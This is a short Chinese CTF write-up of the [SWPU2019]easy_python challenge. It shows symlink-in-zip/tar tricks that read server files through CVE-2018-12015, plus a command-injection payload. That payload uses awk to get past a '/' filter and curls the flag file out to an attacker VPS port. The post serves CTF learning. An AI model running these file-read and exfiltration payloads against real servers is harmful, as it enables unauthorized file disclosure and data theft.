刷题记录:[SWPU2019]easy_python

刷题记录:[SWPU2019]easy_python

题目复现链接:https://buuoj.cn/challenges
参考链接:2019 SWPU CTF Web Writeup
SWPUCTF2019

知识点

CVE-2018-12015: Archive::Tar: directory traversal

如果服务器有解压上传的文件,使用软链接完成文件读取

ln -s /proc/self/cwd/flag/flag.jpg exp
zip -ry exp.zip exp
ln -s /var/www/html/index.php content 
tar -cvf exp.tar content

/proc/self/cwd可以获取当前工作目录
或者先读取/proc/self/environ找到flask的工作目录

命令注入

payload:
$(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)

  • 在bash中,$()``(反引号)都是用来作命令替换的。命令替换与变量替换差不多,都是用来重组命令行的,先完成引号里的命令行,然后将其结果替换出来,再重组成新的命令行。
  • sky=`awk 'BEGIN{printf "%c\n",47}'` 绕过/的过滤
posted @ 2020-01-15 17:39  MustaphaMond  阅读(680)  评论(0编辑  收藏  举报